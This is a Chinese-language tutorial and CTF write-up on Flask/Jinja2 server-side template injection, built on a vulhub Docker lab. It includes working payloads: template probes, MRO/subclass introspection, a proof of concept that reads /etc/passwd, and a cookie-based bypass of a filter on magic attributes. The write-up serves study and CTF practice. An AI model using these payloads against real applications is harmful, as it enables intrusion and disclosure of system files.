参考链接:
https://www.cnblogs.com/tyomcat/p/5440488.html
https://www.jianshu.com/p/367ea79c5482
0x01 环境准备
该环境是基于python Flask框架搭建起来的
github上下载一个docker
https://github.com/vulhub/vulhub/tree/master/flask/ssti
具体执行命令里面有1
2
3
4
5
6
7
8
9
10
11
12# 拉取项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 进入某一个漏洞/环境的目录
cd flask/ssti
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
0x02 原理介绍
SSTI (Server side template injection) 服务端模板注入
先来看一下主要代码:1
2
3
4
5
6
7
8
9
10
11
12
13from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
源码分析
name是可输入变量,template()相当于waf,对模板的过滤转义等等,所以一般xss注入是行不通的,(这里代码没太多过滤,xss是可行的,这里讲模板注入)
下面在本地进行测试几个例子1
http://192.168.1.102:8000/?name=1*3
1 | http://192.168.1.102:8000/?name={{1*3}} |
1 | http://192.168.1.102:8000/?name={{'abc'.upper()}} |
由此可以分析到里面代码会执行,任意命令执行的方法就出来了,这就是原理.
0x03 模板注入(进阶)
如果开发者使用字符串格式化,来将用户输入动态地加入到模板字符串中,而不是通过render_template_string函数将URL传递进入模板内容当中,那么xss就失效了,只能用
注入姿势
内省request对象。request对象是一个Flask模板全局变量,代表“当前请求对象(flask.request)”。当你在视图中访问request对象时,它包含了你预期想看到的所有信息。
内省config对象,config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。
使用非常重要的内省组件: mro和subclasses属性。使用mro属性来访问对象的父类,使用subclasses属性来访问对象的子类。
1 | {{''.\__class__.\__mro__ }} 作为payload注入到SSTI漏洞点当中, |
使用索引1来选择object类。现在我们到达了object类,我们使用subclasses属性来dump应用程序中使用的所有类(找到file类的索引)
1 | {{''.\__class__.\__mro__[1].\__subclasses__() }} 注入到SSTI漏洞点当中 |
- 任意文件读取POC
file类能够实例化文件对象,而且如果我们实例化了一个文件对象,那么我们就可用使用类似于read的方法来读取相关内容。
找到file类的索引,在我的环境中
1 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}。 |
具体参考我上面的链接
0x04 赛题分析
因为题目的关闭,这里只能给个大概的分析
确认是SSTI漏洞,但这儿把魔术方法给拦截了,所以这个下面payload不可行
1 | {{ ''.__class__.__mro__[2].__subclasses__()\[40]('/etc/passwd').read() }} |
但也并不是毫无办法,可以写为
1 | {{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('/etc/passwd')[request.cookies.d]()}} |
1 | 并传入四个cookiea=\__class__; b=\__mro__; c=\__subclasses__; d=read |
0x05 总结
一个很不错的姿势呢